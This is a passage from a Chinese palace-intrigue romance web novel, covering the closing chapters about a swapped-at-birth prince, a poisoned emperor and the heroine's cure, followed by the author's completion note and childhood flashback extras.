他根本不知故皇后羊血过敏之事!贵妃也并未告知! 若是知道!若是他早知道! 他深深吸了一口气,做出困兽犹斗的姿态,“若真如此,裴大人为何不将乳母请进宫中?” “因为她不敢。”裴济毫不避讳地迎上他的视线,“她背负着这个秘密,被贵妃追杀多年,已成惊弓之鸟。因而不愿再入宫。” 皇帝看着谢知的神色极其复杂,像是不敢相信眼前的事实,又像是害怕相信。 他既欣喜于一向优秀的谢知才是他与心爱之人的儿子,又觉得愤怒。多年以来,他在谢承忻身上倾注的心血,远多于谢知。 可如今却告诉他,二人血脉竟是偷龙转凤的结果! “你!你才是挽月的孩子!” 他本就青白的脸上惊愤交加,呼吸因情绪的大起大落陡然剧烈起来。 他站起身来,强撑着摇摇欲坠的身体,重重一拍桌子,“这个毒妇!竟瞒骗我至此!” 内监忙扶住了他,“皇上保重龙体啊!太医说您不能动怒啊!” 强烈的怒气带着极强的压迫之意,殿中诸人见状纷纷跪下,“皇上息怒!皇上息怒啊!” 谢承忻的心一点点沉了下去。 皇帝的发话,无异于将二人的身份做了调换。他小心翼翼隐瞒这么多年的秘密,竟是功亏一篑! 如何能甘心! 他阴沉的眸中露出狠戾之色,却只是一闪而过。他跟着跪下叩首,再抬头时神情茫然而无措,“儿臣……儿臣并不知此事!” 便有官员跟着劝道:“皇上,此事虽说是贵妃偷龙转凤,可说到底,与太子殿下并无直接关系。” “如何没有关系?如果不是贵妃此举,眼下配叫一声太子殿下的,只怕是三殿下吧。” 更有官员直言不讳,大胆开口,“皇上可要归还三殿下太子之位?” “太子殿下多年来兢兢业业,并无错处!事关一国基业,怎可说换就换,动摇根本?” “是啊。”有人跟着附和道,“更何况三殿下,今日还行此弑母犯上之逆举!” “贱妇该杀!” 皇帝闻言,再次怒气上涌。多年来的蒙骗让他有被戏耍之感,狠狠挑衅着他作为君王的尊严。 对于谢知与爱妻的愧疚,此刻全部化为对贵妃的愤怒,骇得殿内顿时鸦雀无声,连呼吸都怕出声。 自晋王之乱后,他们再未见过皇帝这般愤怒模样。 有人偏做直臣,义正言辞地进言,“皇上,臣以死谏之!虽说贵妃有错,可上有国法,下有宫规,三殿下未经禀报便行此弑母之举,实在是无纲纪法度可言!如此藐视圣上,与谋逆之徒无异!” 此番陈词慷慨激昂,亦有几分道理可言。 无论如何,三殿下今日弑母一事,无法遮掩。一国太子,若有此污点,只怕是难以服众。 静默良久的谢知目光扫过殿内众人,终于在此时不徐不疾地开口。 “我非谋逆,亦非弑母。”他声音平静,无端带着让人信服的威严,一如从前行走于神策司的姿态。 “贵妃鸩毒圣躬,戕害圣体,我以神策司指挥使的名义,除斩奸佞,诛杀逆贼。” 他每一个字,都像是一记鼓槌,重重地瞧在人心之上,只叫人觉得震颤。 电光石火之间此起彼伏,已然发生了太多的事情。任谁都需要好好消化。 谢承忻的瞳孔几乎快紧缩成一个黑点。他指尖紧紧握在拳中,几乎要陷入肉里。 谢知居然连这也知道! 他心头忽地萦绕起无力回天之感,如同浸在一盆冰水里,只教他喘不过气。 不!他不能认输!他绝不会输给谢知!他紧紧咬着牙,目光落在皇帝身上。 在接二连三的刺激之后,皇帝几乎不敢相信自己的耳朵。手中的手串几乎快被他捏成齑粉,他死死瞪着谢知,“你说什么!” “儿臣今日得知,贵妃以毒,谋害父皇圣体多时。”谢知迎着他不敢置信的目光,“父皇今日种种症状,并非旧疾复发,而是中毒所致。” “你如何得知!” 谢知看了一眼怀中虚弱的聂相宜,“儿臣之妻,亦受其害。” 他抬眸,“父皇若不信,可以请神策卫搜宫,请数名太医同时查证,看父皇与阿兕,是否为同种毒所致。” 谢知并不知皇帝是否中毒。他只是在赌。事情到了这个地步,无论皇帝是否真的中毒,都必须将这件事坐实。 “皇上。”裴珏跟着说道,“当年温成皇后的闺中密友文安夫人,亦是受此毒害而死!只因文安夫人知道了三皇子身世,被其灭口。” “这个毒妇!这个毒妇!”怒不可遏的情绪几乎让皇帝气喘如牛,他面色呈一种不自然的红,如同被人死死掐着脖颈,难以呼吸。 他或许可以勉强接受妻子被她害死,可以勉强接受孩子被她调换,可若真算计到他的头上,愤怒的情绪几乎快将他尽数淹没。 气血上涌,他脑中一阵阵闪过刺目的眩晕,喉中顿觉一股腥甜涌上。 安静的殿中,只听得“噗嗤——”一声。 “父皇!” “皇上!” 还未等到皇帝的裁决,殿中便已乱作一团。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第61章【VIP】 第61章 皇帝突如其来的昏迷不醒,让整个朝堂都陷入了一片混乱之中。 太子一党与谢知一党争得你死我活。眼见皇帝行将就木,谁来主持大局,成了百官最关心的问题。 “皇上到底不曾废黜太子,自然是太子殿下继承大统名正言顺!” “皇上当年立太子的诏书上明明白白写着,立温成皇后之子为太子。三殿下才是正儿八经的温成皇后之子!” “但如今坐在太子之位上的,终究是二殿下!” “二殿下生母戕害圣体,如此狂悖行径,怎能允其亲子继承大统,从中得利。岂非是让贵妃奸计得逞!” 如此你争我吵,有人盼着皇帝能够醒来主持局面,亦有人盼着皇帝永远不要醒来。 初春来临,万物复苏,聂相宜却如同失去了养分的花朵,一点点枯萎下去。 她总是觉得病痛。她虽未曾与皇帝一般直接昏迷,那日的药仍有不少灌入她的胃中。 谢知一刻不离地抱着她。 他看着她苍白的面颊,心中无比愧疚。是他没保护好她。 那个曾经上房翻墙喜爱热闹的姑娘,此刻一点点消耗着。谢知看着她逐渐流失的生命力,忽地生出一种快要握不住她的惶恐。他害怕她会离开,他害怕再也看不见她。 他总是将她抱得很紧,仿佛这样就能将她的生命留住片刻。 从前她那样娇气,动不动就瘪着嘴说疼。可这次,即使额头已经冒着冷汗,她也只是紧紧咬着唇,一言不发。 凌竹在贵妃的宫中没有找到解药。他后来又去找了一次,依旧没有丝毫线索。 他想起那日离开宫中前,谢承忻勾唇笑着看他,笑容仿佛胜利者的宣判。 在这关键时刻,皇帝不曾改立太子便昏迷不醒,他已然胜利。 擦肩而过之时,谢知听到他如鬼魅般的轻笑,“若想要解药,你便认输。” 谢知曾许多次地做过同样的选择。 在神策司的权力与聂相宜面前,他选择了聂相宜;在刺杀太子与聂相宜面前,他依旧选择了聂相宜。 他想,这次他依旧可以选择她,哪怕认输的代价有些大,哪怕这代价是就在眼前的皇位。 只是聂相宜拉住了他的衣襟。她的声音因疼痛而轻软,拉着他的力气也那样无力。 “殿下,不能认输。” 她一向不通政事,在此刻却无比清晰,“殿下若是妥协,便是辜负了他们。” 裴家,还有钟家。倘若太子 继承大统,最先遭殃的,必定是谢知一党。 谢知不会比她更不明白这个道理。只是当局者迷也好,情令智昏也罢,他身在其中,无法眼睁睁地看着聂相宜的消亡。 太医大夫来来回回进出于府中,得到的结果亦只是延缓片刻,若要根除,需得解药。 “我不会有事。”聂相宜仿佛知道他在想些什么,“贵妃说了,不会死的,只是会吃些苦头罢了。” 她朝谢知重新扬起往日那般明艳的笑来,“到时候我若是痛起来,殿下最好把手臂给我咬着!” 只是她到底也不曾咬过谢知的手臂,就像她也不知道自己真的会不会死。 她只是在日复一日的痛楚之中,感受到当年母亲的痛。 她有时甚至会冒出些奇异的联想,这算不算她与母亲,有了另一种奇妙的关联呢? 她时常在痛得混沌不清之际,蜷在谢知的怀中,轻声问他。 “殿下,这是梦吗?” “殿下是讨厌我还是喜欢我?” “殿下为什么会喜欢我啊?” “殿下是什么时候喜欢我的啊?” 谢知只是环着她瘦小一只,闻言轻哄,“等你好起来,我就告诉你。” “那我一定要好起来才行。”她弯了弯眼睛,又像是雏鸟般用头轻蹭他的颈窝,像是逐渐进入梦中,喃喃低语, “可是我好像有些想我母亲了……” 谢知将她哄睡之后,轻轻放下了她。他召来凌竹,“备马,我要去东宫。” 凌竹难得地拦在了他的身前,“殿下三思!” 谢知并未看他。 他曾经以为她的离开便是他最无法接受之事,但如今才发现,离开不是,失去才是。 他想的很清楚,谢承忻想要的,不过是他的命。 钟家与裴家的势力在朝堂之上盘根错节,纵使谢承忻继承大统,短时间亦无法轻易动手。这些时间,足够他们喘气了。 至于他的命,若换了她,似乎也不亏。 在他策马离去之后,聂相宜亦忽地睁开了眼。她强忍着心口的痛楚坐起身来,“含絮,给我准备马车。” “夫人这是要去哪儿?病中不宜挪动的。” “去城门,迎舅父。” 她昨日便听到凌竹对谢知的禀报,说钟谦岳已然入京,就在城门外等候,只差一声令下。 是谢知顾忌太子手中的解药。 她知道是谢知去了。 马车的颠簸让她的痛楚愈发难捱,她却不停地催促着,“快点!再快点!” “你终于来了。”谢知来到东宫的时候,仿佛已然等候他良久。 “解药呢。” 谢承忻忽地笑了起来,“谢知,没想到,像你这样冷心冷情的人,竟也有了软肋。” 他半眯着眼眸,“你若不管她,今日你便是胜者。” 谢知依旧只是冷眼看他,“解药呢。” 当啷一声,一柄长剑被谢承忻仍在谢知脚边,“你自己动手,我自会给她解药。” 谢知垂眸看着那柄长剑,那是他曾经在边关杀敌所用的那柄。后来回京,谢承忻说他喜欢,向皇帝要去了这柄剑。 他总是这样,抢走他的东西,以胜利者的姿态耀武扬威。 “谢承忻,我们都不是三岁小孩了。”谢知漠然地看着他,那眼神像是再看一个幼稚的小丑,“我要先确保他的安危。” 他那副轻蔑的眼神让谢承忻无端觉得愤怒。 明明他才是那个失败者,却永远是那般高高在上,永远是那般气定神闲!死到临头依旧如此! 他敛了笑容,冷声道:“谢知,我对她的情意也不少。别忘了,你也占过我的身份一次。” 谢知知道,他说的是聂相宜认错了上元节相遇之人的事。 他一字一顿地说道:“这是还我的罢了。” 他对上谢知的眼眸,“你放心,待你死后,她会是我当之无愧的皇后。” 谢知像是听了个笑话,只是轻嗤了一声,没头没脑地说了一句, “你还不如裴珏。” 他不再看谢承忻,只是伸手捡起了那柄长剑。剑身的锋芒闪烁,寒气逼人。 谢承忻因他的话生恼,仿佛平白低了他一头。他只能不停地炫耀着自己的胜利,“谢知,我说过,只要我想抢,你的东西永远是我的。” 谢知只是轻笑,“你永远只能抢我的。” 你自己的呢? 这话像是戳到了他的痛脚,谢承忻瞳孔骤缩。他眼中像是露出一丝愤怒的茫然。 对啊,真正属于他自己的东西呢? 大概只有那一张白玉面具吧。 不过也幸好,幸好还有那张白玉面具。 “不劳你操心。”谢承忻扬唇,“还是早些动手吧。” 还未等谢知有所动静,外头忽有杂乱脚步声匆匆响起,随之而来的是内监慌乱地禀报,“太子殿下!太子殿下!外头……外头钟将军入宫勤王!兵马已经朝着这边来了!” 原本胜券在握的笑容顿时僵在脸上,谢承忻脸色陡然一冷,“入宫勤王?戍边将士无召不得回京。钟谦岳这是谋逆?还是勤王?” 那一日,钟谦岳带着兵马,以清君侧的名义入宫勤王,以迅雷之势将太子谢承忻囚于东宫。 皇帝曾在回光返照之际迷蒙醒来,而钟谦岳只是抱着父亲与妹妹的牌位,求皇帝给钟家一个交代。 事已至此,无论皇帝心中何想,已是无力回天。 他在最后一口气时,留下命谢知继承大统的遗诏,而后撒手人寰。 丧钟响起,谢知是名正言顺的下一任帝王。 只是这却并不意味着胜利,软禁于东宫的谢承忻不愿交出解药,聂相宜依旧处于病痛之中。 登基大典一再推迟,谢知总想和她的封后大典一起进行,只是如今她瘦弱的身躯,早已受不住那般沉重的凤冠霞帔。 他抱着聂相宜进了宫,又给她选了最华丽最精致的殿宇居住。 “这里离我的殿宇只有一墙之隔,方便你日后翻院墙了。” 聂相宜面颊消瘦,只是窝在他怀里笑笑,“皇后翻院墙,到时候殿下更厌我没规矩了。” “我也翻。” “皇上。”凌竹此刻匆匆前来,看了一眼聂相宜,有些欲言又止。 “说吧。” 凌竹递上一盏白玉面具,“东宫那边递的话,想要单独见一见皇后娘娘……” 未免落下手足相残的口实,兼之还想从他手中获得解药,谢知一直不曾对他动手。 他瞥了一眼那白玉面具,眼神转瞬便冷了下来。 那是他和聂相宜曾经缘分的见证,只叫人觉得刺眼。 聂相宜亦抬起眼皮看了一眼,忽地挣扎着从他怀里坐了起来。她像是毫不犹豫地接过那盏白玉面具,“走吧,我去。” 这样的情态落在谢知眼中,无疑于证明了她还牵念着他。他捏紧了聂相宜的手腕,“阿兕,别去。” 聂相宜轻松地笑笑,像是并无所谓,只玩笑一般,“我还想找他要解药呢。” 谢知在片刻的静默之后缓缓松开桎梏着她的手。 “那我陪你去。” “好。”聂相宜点点头,“含絮,你去把那盏天宫花灯找出来。” 当那盏保存完好的花灯被寻出时,谢知眸色愈发暗沉。 即使当初上元节认错人的事已经被拆穿,他依旧会觉得不安。 她对他的感情都建立在她的错认之上,他害怕她被谢承忻蒙骗,他害怕她会想着再次离开,他害怕一切的失去。 聂相宜只是握住了他的手,“殿下,我们走吧。” 门吱呀一声打开,被软禁多日的谢承忻抬眸看去,恰从门外透射进来一束春日的阳光。 聂相宜就是在这个时候从光中走进,提着曾经那盏天宫花灯,静静看着她。 “你终究还是来了!”谢承忻脸上露出些浅淡的欣喜神色,“你还是惦念着我的!对不对!” 门外的谢知紧紧蜷起了指尖。 聂相宜对他的话有些疑惑,像是不知道他为什么会这样讲。她只是伸手将花灯放在谢承忻身边,“我是来还这个的。” 谢承忻猛地抬头,几乎不敢置信。他的目 光死死锁在聂相宜身上,“你说什么?你……” 他看着那盏花灯,目光陡然变得阴冷,“是谢知逼你的是不是?一定是他!我抢了他那么多东西,他一定也想抢走你!” “何曾需要殿下抢?”聂相宜不理解他话中之意,“若要说抢,那也是你抢了他的才是。” “四年前的上元节,若非你带着那张青铜鬼面,我又怎会将你错认成殿下?” 她将那张白玉面具摊开在手心,“这张面具,我本来便是想送给他的。” 谢承忻的表情几乎在此刻寸寸龟裂。 原来错认,竟是这般错认!原来他一直以为他曾拥有,不过也是个自以为是的笑话! 他心心念念唯属于自己的东西,竟也是从谢知身上偷抢而来! 他原以为,他不用带着谢知的面具生活。他原以为,他抢谢知的身份,谢知也抢他的,占着这份心安理得。 他忽然觉得自己可笑。 竟什么都不是他的。 他忽地笑出声来,看向聂相宜,“你如此激怒于我,是不想要解药了吗?” “谢承忻,你太小看我了。”聂相宜只是冷眼看着他,“我母亲之死与你有关,外祖更是死在你手。你以为我是什么人?我就是痛死,也不会对着自己的仇人奴颜婢膝。” 她语气几乎带着咬牙切齿的痛恨,“我今日来,就是想看你早点死。” 殿门被重重阖上。 逐渐稀薄的光线之中,谢承忻依稀看见,那年灯火憧憧之下,粉面少女朝自己跌跌撞撞跑来,羞怯地朝他递上这张面具。 “我觉得这张面具更适合你。” 了结了一件事,聂相宜舒心许多。她看了看殿外等候的谢知,下意识习惯开口叫他殿下,“殿下怎得看起来心情很好的模样?” 谢知只是抿了抿唇,看着她手中的那张白玉面具,“这张面具……” “晦气东西。”聂相宜挥了挥手,“摔了吧。” 谢知从她手中接过面具,“先给我看看。” 看看当年她想送自己的面具,究竟是何种模样。 聂相宜身上又疼起来,倚在他怀中。像是知道他心中所想,“下次再送殿下一张别的。” “嗯?”谢知忽地疑惑出声,看着指尖从面具内里捻下的细小粉末,“这是……解药?” 聂相宜凑近细看,似乎果然有药粉附在面具内里。 待得将药粉取下,给太医看过,聂相宜服下解药,东宫忽地传来消息——谢承忻自尽而亡。 不追封,无丧仪,草草葬在皇陵,便已罢了。 闲来无事,聂相宜倚在谢知怀中,想起这事,便轻哼一声,“知道我很早很早就喜欢你,把你得意坏了吧!” “我很高兴。”谢知难得地并非否认,只是嗯了一声,“阿兕是什么时候喜欢我的。” “阿珩要先回答我!”聂相宜咧嘴威胁他,“明明说好等我好起来便给我说的!” 谢知垂首吻过她的唇角,轻弯着眼眸看她。 “阿兕是什么时候喜欢的我,我便是什么时候喜欢的阿兕。” ——全文完———— 作者有话说:正文写到这里就算完结啦[撒花] 其实在写的过程中发现了很多不足,很多角色的故事线并未展开,有时候真的很怀疑自己。[化了] 但是评论区的宝宝们真的很好,感觉是被你们哄着写完的[让我康康][让我康康][让我康康] 也很感谢每一个观看到这里的宝宝们[撒花][撒花][撒花] 接下来会是一些小小的修文和甜甜的番外[撒花] 再次感谢每一个支持的宝宝[撒花][撒花][撒花]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第62章【VIP】 聂相宜自小便知道,自己有一个青梅竹马的未婚夫。 “阿兕见过太子哥哥。”那时她不过几岁,被母亲带着进宫参加宫宴。 小小一个玉雪团子,说话带着含糊不清的奶音,照着母亲教她的模样一本正经地行礼。 太子明明也是小孩子,却一副小大人似的稳重表情。只面无表情地看着她,轻轻点点头,“阿兕妹妹好。” 皇后见状,轻笑着揶揄他,“这般冷淡,小心吓着你未来的太子妃!” 文安夫人亦跟着寒暄,“太子殿下端庄持重,自小便是个小大人呢。阿兕可要学着些。” 小阿兕一脸懵然,只是呆呆点了点头。 “男孩子家,总是老气横秋些,有什么好学的。”一旁的皇后笑着与她寒暄,“我还想着古灵精怪的阿兕能让如珩活泼些呢。” 说着她捏了捏阿兕圆嘟嘟的侧脸,葱白指尖指向谢知,随口玩笑,“阿兕,以后让太子哥哥做你的夫君好不好?” 小阿兕不懂,只知呆呆点头。 皇后便指了指谢知身旁的空座,“那阿兕和如珩哥哥同坐好不好?” 小阿兕先看了板着脸的谢知,像是有些害怕他冷冷的模样,又仰着脸望向自己的母亲。 文安夫人回以一个鼓励的笑,“去吧阿兕。” 小阿兕大着胆子坐到谢知身边。 乳母们将食物依次验过,递至二位小主子面前。小阿兕坐久了便有些无聊,探头探脑地张望起来。 对谢知的那点怯生被新奇取代,她伸过头去看着谢知,“太子哥哥,你吃的是什么啊?” 谢知却没回她。 只是小阿兕像是个自来熟的,只自顾自地摇头晃脑。 “我碗里的玉屑糕很好吃呢!” “你喜不喜欢吃玉屑糕?我可喜欢了。我母亲也喜欢。我外祖也喜欢。” “你喜欢吃什么呀。你怎么不吃碗里的玉屑糕?” …… 一直沉默不语的谢知缓缓转过头看着她,小小的脸上满是一本正经,活像个小的教书先生。 “食不言,寝不语。” 小阿兕的话忽地止住,一双黑葡萄似的眼珠子一动不动,像是受惊吓的小动物,呆呆盯着他。 安静的沉默之后,只听得“哇”地一声,谢知被她嚎啕震天的哭声吓得一抖。 “太子哥哥好凶!我不要和太子哥哥玩了!” 小小谢知努力维持平静的脸上难得出现手足无措的表情。 他没凶啊?他只是在告诉她规矩。 乳母嬷嬷们顿时围拢上来哄她。谢知朝她微倾了倾,似乎也想哄她,又像是不知该如何安抚。 皇后敛起笑容,“如珩!不许欺负阿兕!” “哪里怪得了太子殿下,分明是阿兕太娇气。”文安夫人无奈。 “回母后,儿臣没有欺负她。”谢知站起身来行礼,一本正经,“儿臣没有凶阿兕妹妹,儿臣只是在告诉妹妹规矩。” “小古板!”皇后轻横了他一眼,“日后当心你的太子妃不喜欢你!” 文安夫人刚想上前,却被皇后制止。她轻挑了挑眉,笑言道:“如珩捅的篓子,让他自己去哄。” 小阿兕还在哭闹,“我再也不要和太子哥哥玩了!我也不要太子哥哥做我夫君了!” “别哭了。”谢知一脸无措地看着她,而后端起手中的玉屑糕,“我的玉屑糕也给你吃好不好。” 哭声戛然而止。 小阿兕眼角还挂着泪,瘪着嘴,像是有些想吃那玉屑糕,又仍旧委屈着。 她犹豫了好久,这才伸出手接过那碟玉 屑糕。但她仍旧对谢知重重哼了一声,“我还是不想和你玩!” 为了表示她的决心,她还将屁股挪得远了些,嘴巴撅得能挂二两油壶。 不远处的旁坐似乎有人重重咳嗽了几声,小阿兕被吸引去注意力,循声望去,发现是一个跟谢知年岁差不多的人。 她刚想开口跟他说话,便听见谢知开口问她:“阿兕妹妹,玉屑糕好吃吗?” 聂相宜的注意力再次被他吸引过去,她鼓着脸颊叉着腰,凶凶地瞪着谢知,“食不言!寝不语!” 她说完,像是觉得自己语气好像太凶了些,又用圆润的拇指尖尖拈起一块小小的玉屑糕,煞有介事地放在谢知的掌心。 “算了!分你一块好了!免得你说我小气!” 谢知看着手中的玉屑糕,忽地轻笑了一瞬。 无礼、娇气、还有些小心眼,这大概是谢知对小阿兕的第一印象,就像一只小猫。 大约在聂相宜六七岁的时候,父亲从府外带回了一个姨娘。那姨娘生得很是温柔,身边牵着一个怯生生的女孩。 他对母亲说:“秋容,日后你好好照顾她们母女。” 那是聂相宜第一次在母亲脸上,看见那般沉郁的脸色。她向来是明艳的、爽朗的,而此刻她的目光却如一只冷箭,几欲刺透面前人的胸膛。 聂相宜知道母亲不开心了。 小小的她挡在母亲面前,仰望着高大的父亲,语气不善,“她们是谁!” 父亲蹲下身来,看着她的笑容带着些勉强,“阿兕,她是你的妹妹,元苇。” “几岁了?”母亲的声音自上传来,让父亲再次站直了身子,犹豫着回答她,“六岁……” 聂相宜看着聂元苇那副怯生害怕的模样,便觉得平白生厌。 她不由分说,上前一把将瘦弱的聂元苇重重推了一个大跟头,而后恶狠狠地说道:“我才没有这样的妹妹!” 那天母亲与父亲似乎吵了很久的架。 她被乳母嬷嬷们带去院子里玩了,只是她一想到母亲,便怎么也玩不开心。小小的她心头有些慌乱,却又不知这慌乱为何而起。 后来母亲找到她的时候,两眼通红,却依旧对着她温和地微笑:“阿兕,我们去宫里住一阵子好不好?你可以去找太子哥哥玩。” 她记得聂元苇回府那日,母亲甚至不曾在府里过夜,便已牵着她的手,踏上了离开的马车。 “太不像话了!”皇后一拍桌子,“那江氏生的女儿已是五岁!岂非永宜侯在当年你尚且生产之际,便已与贱人私通款曲!” “若按我往常的性子!必定一剑杀了这两个贱人泄愤!”母亲红着眼眶,牙齿咬得死紧,亦是愤恨不已。 “什么杀不杀的。”皇后忙捂住聂相宜的耳朵,“阿兕还在这儿呢。” 她拉着阿兕的手,“阿兕,让太子哥哥陪你出去玩好不好?” 聂相宜看了一眼母亲,难得乖巧地点了点头。 “如珩!”皇后望向窗下看书的谢知,“快拉着阿兕妹妹出去玩一会。” 彼时的谢知身量纤长了许多,已然有了几分清俊模样。他像是十分无奈地放下书本,拉着聂相宜出了殿门。 文安夫人见状不忍,“殿下正是用功读书的时候,还是别打扰他了。” “哪里用功了?”皇后噗嗤一乐,指着窗下的书,“自阿兕来了以后那书就翻了两页。心早就飞了,只等着我开口呢!” 聂相宜被谢知拉着出去,却不肯走。她望着谢知,稚嫩的脸上却依然一脸担忧,“太子哥哥,我有些担心母亲。” 谢知沉默半晌,“那我陪你在这里等着。” 聂相宜点点头,而后靠在窗下,努力伸长了脖子,似乎想听里面在说些什么。 “太高了!我够不着!”她脚都踮软了,也没听见里面的声音。 她气馁地瘪着嘴,在目光触及谢知的瞬间,像是突然想到了什么,眼睛倏地一亮。 “太子哥哥!”她眨着一双溜圆的眼睛,满眼都是期待,“你能不能把我举起来!我骑着你的脖子!就可以听见了!” 她怎么能这么理直气壮!谢知想。他身为太子,有谁敢在他的脖子上骑大马? 小小的聂相宜双手合十,一副可怜巴巴地看着他,“求你了嘛太子哥哥。” 谢知语气一滞,鬼使神差地蹲下了身。 从此谢知对她的印象又多了一条:无礼,但很会撒娇。 “若要纳妾也就罢了,偏那江氏还与晋王沾点关系。虽说这几年太平了些,皇上到底忌讳这事!” 皇后说着,一脸担忧地拉住文安夫人的手,“秋容,我只你性子急,可你切勿将事情闹大,以免这事难以收场。” “我何尝不知道这个道理!只可恨不能泄愤,一味憋在我心里!” 皇后沉吟片刻,握紧她的手,“那江氏能在府外蛰伏数年,想来也是个不好斗的,我只怕你吃亏。” “我何尝想与她斗去?聂正青负我数年,瞒我数年,我何尝要为了这不值钱的贱东西斗来斗去!” 文安夫人的话让皇后的神色倏地黯然了片刻。她眼中倏地一燃,像是下定了某种决心,“秋容!那便和离吧!” 她向来温柔,这样的坚定让文安夫人一怔。 “我如今身居高位,是免不了这些斗争了。可你不同!”皇后定定地看着她,“永宜侯的爵位,还是皇上看在钟家的面子上保留下来的。不值钱的玩意,扔了也就扔了!” “只是若要和离……一来我总是忧心阿兕去处,二来,也需父母宗室见证。”文安夫人长长地叹了一口气,“如今我父亲远在西北,无召不得回京。若是想皇上请旨,岂非又将事情闹大?” 皇后想了片刻,“这也不难,我想个由头,帮你劝劝皇上,允大将军回京便是。” 文安夫人眸中含泪,“挽月,若没有你,我真不知道该怎么办才好。” 皇后刚要劝她,忽地听见外头奴婢惊慌的声音,“哎哟二位小主子!你们这事干什么呢!” 二人齐齐循声望去,只见远处镂空雕花的窗户上,不知何时升起一个小小的人影,探头探脑地张望。 皇后掩唇低低地笑,“你看,还有阿兕担心着你呢!” 文安夫人亦欣慰地笑笑。 外头的聂相宜被突如其来的声音一吓,身体下意识往后一仰,直直跌了下去。 “啊——” 失重的感觉骤然传来,吓得她紧紧闭上了双眼。 嗯?怎得不疼? 等得皇后与文安夫人听见她的惊呼,慌张出去瞧时,这才发现聂相宜仰面摔在了谢知身上。 “殿下没事吧!”仆妇们手忙脚乱地将谢知扶了起来。 文安夫人难得地板着脸训聂相宜,“阿兕!你也太调皮了!” 聂相宜本就受了惊吓,被母亲这般训斥,小嘴一瘪,豆大的泪珠已然在眼睛里打转。 “不怪她。”谢知紧紧抿着唇,“是我自己不小心摔了。” 聂相宜一时间哭也忘了哭,只呆呆地看着谢知。 后来,再一起玩时,她悄悄问过谢知:“太子哥哥,你知道和离是什么吗?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 【完结】 第63章 后来聂相宜便与母亲搬去了别院,独自居住。 父亲常常前来别院寻找母亲,一脸无奈,“秋容,那真的只是个意外。云娥当年与我有旧,突逢家中败落,我不过施以援手罢了。” 母亲一脸吃了苍蝇的恶心表情,只叫他快滚。 有时候那个聂元苇也会跟着来,一副天见可怜的模样,怯生生地叫“母亲”、“姐姐”。 “那是我母亲!瞎叫什么!”聂相宜拿着一柄扫帚舞得尘土飞扬,直在聂元苇面前乱戳戳,吓得她连连后退。 母亲把二人当做空气,只挑眉看她,“我们阿兕剑法不错呀!” 不久后,聂相宜便看见了外祖。听说是皇上特命外祖回京述职的。 外祖一路风尘仆仆,一 下马车便中气十足地喊道:“那个混账畜生呢!我定要叫他好看!” 聂相宜蹦到他面前,脆生生地叫了一声,“外祖!” 钟岐凶神恶煞的表情转瞬便笑成了一朵花,声音也收得又轻又软,“阿兕都这么大了呀!” 他蹲在聂相宜身前,亲昵地抱着她。只是他下巴有着茂盛的胡须,脸颊贴近聂相宜圆鼓鼓的侧脸,将她扎得呲牙咧嘴。 聂相宜瘪着嘴,有些气。于是趁着外祖午间在躺椅上小憩的时候,拿着一把小银剪子,将他蓄了许久的胡须绞了个干净。 胡须威严,她自是不知,自此之后,京中不少官员见到威名赫赫的安西大将军,都忍不住憋笑,“大将军看起来年轻了许多啊。” 他却丝毫不觉滑稽,只是骄傲地一抬锃光瓦亮的下巴,“你家乖孙给你刮过胡子吗?” 而聂相宜只是拿着那一把灰黑相间的胡须在谢知面前炫耀,也不知在炫耀些什么,“这是我外祖的胡须!这么长哦!你外祖有吗?” 谢知面无表情地看着她,“我没有外祖。” “我外祖很早就死了。” “就埋在西山的端陵里。” 聂相宜灰溜溜地将外祖的胡子收了起来。 外祖回来以后,又发生了好多事情,只是聂相宜也记不清了。 她只记得有一天父亲与母亲在侯府里对峙,外祖叫来了许多人,气势汹汹的模样,把聂元苇都吓哭了。 后来便听说父亲犯了事儿,被削去了爵位,只允许他和那个姨娘在侯府旧居住着。 那个姨娘不复初见温柔姿态,有些疯疯癫癫的,还曾到了别院指着母亲破口大骂,“钟秋容!侯府好歹是你的夫家,竟一点活路也不留给我们!” 母亲只是居高临下地看着形同疯妇的她,“你若再多说一句,侯府你也住不成了。” 聂相宜更为直接,气哄哄地撸起袖子,上前也推了她一个大跟头。 小小的人儿力气还挺大,江云娥直接摔了个屁股蹲。 再后来,聂相宜被选做皇子伴读,入宫读书。 母亲曾问过皇后,“女孩子家,哪有做皇子伴读的?只怕是落人口实呢。” “不碍事,也不是独阿兕一个人,还有好几家大人的姑娘呢,连裴家的六姑娘也在!” 皇后朝她挤了挤眼睛,“阿兕去学些学问也好,老裴大人博古通今,皇上特意为如珩请回来的。” 自此,聂相宜再没有睡过一个懒觉。 每日天刚蒙蒙亮,马车便要将她送至宫门,再由宫内马车接去崇文馆。 每日的晨起成了她最要命的时刻,窝在锦被之中眼泪汪汪地抱紧母亲的手,“能不能不上学了。” 母亲总是对她温柔一笑,然后斩钉截铁地拒绝,“不能。” 她丧眉搭眼地捂着肚子,“可是我肚子疼。” 文安夫人哪里不知道她的小九九,“你全身疼也没用。” 然后不由分说将她塞进了马车。 宫中更是难捱,她与谢知同坐第一排,连瞌睡都不能打。 老裴大人是个老学究,说的话佶屈聱牙,晦涩难懂。每每聂相宜走个神的功夫,便不知道他在说些什么了。 她只能百无聊赖地用胳膊肘戳戳身旁的谢知,“太子哥哥,你听得懂他在说些什么吗?” 课上谢知总是不语,直到放课后才拉住她的手,“方才你不懂的,我给你讲。” 聂相宜眼睛瞪得老大,都放课了还要听这些啊! 她忙摆了摆手,“明日再说吧。我还要跟子瑛哥哥去捉蛐蛐呢!” “子瑛哥哥?”谢知脸色忽地一冷,连念这个名字也像是带着寒气,“你又有别的哥哥了?” 聂相宜丝毫没觉得有什么不妥,只点了点头,眼睛亮晶晶的,“他人可好了!捉蛐蛐很厉害的!还会编草笼子呢!” 谢知的神色微沉,“不许去。” “为什么?”聂相宜叛逆劲也上来了,“我就去!” “你今日上课一字未听,裴先生布置的功课你会写吗?” 聂相宜脱口而出,“子瑛哥哥说他会帮我写。” 话音刚落,她这才发现自己说漏了嘴。她有些心虚,又不肯露出怯色,只梗着脖子反驳他,“你怎么知道我一字未听?难道你一直盯着我不成?” 谢知语气忽地一滞。 “反正就是不许去!”谢知拎着她的衣领,像是揪着小猫的后颈,将她带回了宫。 而后面无表情地将功课放在她的面前,“写功课,我看着你写。” “谢知你还是个人吗!”聂相宜气得一把将书扔到他身上,“我又不去考状元!” 谢知不为所动,“不懂的我会教你。” 在他不容置疑的目光中,聂相宜只能眼泪汪汪地拿起笔。 